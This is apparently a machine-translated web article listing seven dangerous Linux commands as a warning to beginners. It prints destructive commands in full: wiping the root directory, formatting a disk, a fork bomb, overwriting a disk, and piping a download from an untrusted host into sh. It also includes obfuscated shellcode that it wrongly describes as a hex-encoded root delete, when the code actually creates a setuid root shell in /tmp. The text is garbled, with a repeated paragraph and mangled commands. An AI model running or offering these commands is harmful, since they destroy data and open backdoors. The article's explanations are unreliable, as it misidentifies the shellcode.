In Linux, commands are very important. WIndows, which is used to mouse, input a line of commands under Linux seems very troublesome for new Linux users. In fact, some operations are more efficient in using commands, in addition, it is better to learn Shell in the future. Some commands are quite risky, especially for root users.
In Linux, commands are very important. WIndows, which is used to mouse, input a line of commands under Linux seems very troublesome for new Linux users. In fact, some operations are more efficient in using commands, in addition, it is better to learn Shell in the future.
Some commands are quite dangerous, especially when operating under the root user. just like the following commands, take a good look at the instructions.
1. Code:
Rm-rf/
This is simple. the root directory will be wiped out.
2. Code:
Char esp [] _ attribute _ (section (". text")/* e. s. p
Release */
= "Xebx3ex5bx31xc0x50x54x5ax83xecx64x68 ″
"Xffxffxffx68xdfxd0xdfxd9x68x8dx99 ″
"Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7 ″
"X56x04xf7x56x08xf7x56x0cx83xc4x74x56 ″
"X8dx73x08x56x53x54x59xb0x0bxcdx80x31 ″
"Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69 ″
"X6ex2fx73x68x00x2dx63x00 ″
"Cp-p/bin/sh/tmp/. beyond; chmod 4755
/Tmp/. beyond ;";
Did not understand? It's actually a hexadecimal [rm-rf/].
3. Code:
Mkfs. ext3/dev/sda
Attach a disk is undoubtedly dangerous.
4. Code:
:() {:| :&};:
This is not a post-90 expression, nor is it an expression before totit shoots a penalty. it can quickly cause your system to crash due to processing a large amount of data.
5. Code:
Any_command>/dev/sda
This command will write a large amount of RAW data, which can cause data loss.
6. Code:
Wget http: // some_untrusted_source-O-| sh
Like Windows, do not randomly download unconfirmed security sources. Linux and carrots will not be safe this year.
7. Code:
Mv/home/yourhomedirectory/*/dev/null
This command will undoubtedly drive the system crazy and your home directory will no longer be seen.
Warning if your data is lost by operating the above commands, this site is not responsible. please perform this operation with caution.